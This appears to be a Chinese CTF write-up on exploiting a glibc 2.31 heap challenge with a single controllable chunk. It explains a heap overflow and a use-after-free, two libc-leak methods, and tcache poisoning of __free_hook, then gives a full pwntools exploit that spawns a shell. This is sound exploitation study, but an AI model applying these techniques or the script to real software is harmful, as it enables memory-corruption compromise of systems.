就搞到一题附件 做了下发现对于只能操控单个chunk的利用手法不够熟练 于是用博客记录一下思路

libc版本是2.31 保护机制中规中矩 反正是个堆 都大差不差
void *add(){ void *v1; // [rsp-18h] [rbp-18h]
printf("size: "); __isoc99_scanf("%llu", &nbytes); if ( v1 != ptr ) v1 = malloc(nbytes); printf("data: "); read(0, v1, nbytes); puts("Create Complete!"); return v1;}add函数 只能操控一个chunk 不过这里的检查有漏洞 如果已经有一个chunk了 跳过的只是malloc的部分 输入data和size的并不受限 所以这里存在一个堆溢出漏洞
int delete(){ int result; // eax
result = (int)ptr; if ( ptr ) { free(ptr); result = puts("Delete Complete"); } return result;}delete函数 明显存在一个UAF漏洞
int show(){ int result; // eax
result = (int)ptr; if ( ptr ) result = printf("Your Note: %s\n", (const char *)ptr); return result;}show函数 调用printf打印堆块内容
int edit(){ void *v1; // [rsp-8h] [rbp-8h]
if ( !ptr ) return puts("zero note!"); v1 = ptr; printf("NewData: "); read(0, v1, nbytes); return puts("Edit Complete!");}edit函数 用来编辑堆块内容
那么总结下来 就是只能同时控制一个chunk 但是可以利用的漏洞都给了 这种情况下 我想到的是通过填满tcachebin的链表 从而申请到fastbin chunk 随后利用malloc_consolidate来把fastbin chunk放入到smallbin中 从而利用UAF泄露libc基址
还有一种办法是学习enllus1on师傅的 利用堆溢出覆盖top chunk的size 从而再次申请一个大chunk 于是就会重新分配一个top chunk 并且把原来的释放到unsortedbin中 这样也可以泄露libc基址
下面两种办法都演示一遍
add(0x30,b'aaaa')delete()for i in range(7): edit(cyclic(0x10)) delete()add(0x80,b'aaaa')bigchunk()这里来实现double free的原理是因为tcache高版本新加入的key 位于bk域 只要覆盖key 就可以绕过double free检测
此时我们成功把fastbin中的chunk释放进入smallbin

delete()add(0x30,b'1')show()libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-1-0x1ebc30success("libc_addrr :"+hex(libc_addr))随后就是重新申请这块空间 注意一下覆盖末位的值 需要减去 这样就成功获取到了libc基址
还有一种办法 先利用堆溢出覆盖top chunk的size 注意这个size要使得top chunk起始地址+size刚好到一个页的起始
add(0x10, '\x00')payload = b'\x00'*0x18 + p64(0xd51)add(len(payload), payload)delete()
此时申请一个比top chunk大的chunk top chunk就会被释放进入unsortedbin
add(0x1000, 'aaaa')
那么我们从unsortedbin中申请出来一个chunk 就可以泄露出libc基址
delete()add(0x20, '1')show()libc_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ebbe0-0x551success("libc_addr :"+hex(libc_addr))free_hook = libc_addr + libc.sym["__free_hook"]system_addr = libc_addr + libc.sym["system"]接下来就是如何实现任意写了 由于只能控制一个chunk 所以哪怕我们有double free 也没有办法申请出来任意地址的chunk 所以我们需要把size域更改 使得chunk被重新释放时进入其他链表 从而使得原来的链表保留任意写的地址 听不懂没有关系 接下来来详解一下
delete()edit(p64(0)*2)delete()首先 利用老办法来构造一个double free的链表

此时 tcachebin中有两个链表 并且二者是物理相邻的 我们先申请出低地址处的0x20的链表 为了堆溢出覆盖到下一个chunk
add(0x10,'aaaa')payload = cyclic(0x18)+p64(0x51)+p64(free_hook-0x8)add(len(payload),payload)
可以看到此时size域被修改了 并且链表中写入了我们的目标地址 之所以要减去8 是因为只能控制一个chunk 如果我们想要采用覆盖free_hook的办法来获取shell 那么被释放的chunk首地址一定要为/bin/sh或者其他能够getshell的参数
delete()add(0x20,b'aaaa')
此时把0x30的链表中申请出来 那么此时供我们控制的chunk指针也就是0x55e70eeee2b0这个 如果我们再次释放chunk呢
此时就会把这个chunk释放到0x50的链表中 和我们0x30链表中任意写的地址错位开 那么此时再次申请0x20大小的chunk 就可以达到任意写的目的了
完整exp:
from pwn import*from ctypes import *io = process("./pwn")#io = remote("59.110.164.72",10001)elf = ELF("./pwn")context.terminal = ['tmux','splitw','-h']#libc = ELF("./ld-linux.so.2")libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so")#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')context.arch = "amd64"context.log_level = "debug"def debug(): gdb.attach(io) pause()
def add(size,payload): io.recvuntil("choice: ") io.sendline(b'1') io.recvuntil("size: ") io.sendline(str(size)) io.recvuntil("data: ") io.send(payload)def delete(): io.recvuntil("choice: ") io.sendline(b'2')def show(): io.recvuntil("choice: ") io.sendline(b'3')def edit(payload): io.recvuntil("choice: ") io.sendline(b'4') io.recvuntil("NewData: ") io.send(payload)def bigchunk(): io.recvuntil("choice: ") io.sendline(b'1'*0x1000)# add(0x30,b'aaaa')# delete()# for i in range(7):# edit(cyclic(0x10))# delete()# add(0x80,b'aaaa')# bigchunk()# delete()# add(0x30,b'1')# show()# libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-1-0x1ebc30# success("libc_addrr :"+hex(libc_addr))# debug()
add(0x10, '\x00')payload = b'\x00'*0x18 + p64(0xd51)add(len(payload), payload)delete()add(0x1000, 'aaaa')delete()add(0x20, '1')show()libc_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ebbe0-0x551success("libc_addr :"+hex(libc_addr))free_hook = libc_addr + libc.sym["__free_hook"]system_addr = libc_addr + libc.sym["system"]
delete()edit(p64(0)*2)delete()add(0x10,'aaaa')payload = cyclic(0x18)+p64(0x51)+p64(free_hook-0x8)add(len(payload),payload)delete()add(0x20,b'aaaa')delete()add(0x20,b'/bin/sh\x00'+p64(system_addr))delete()io.interactive()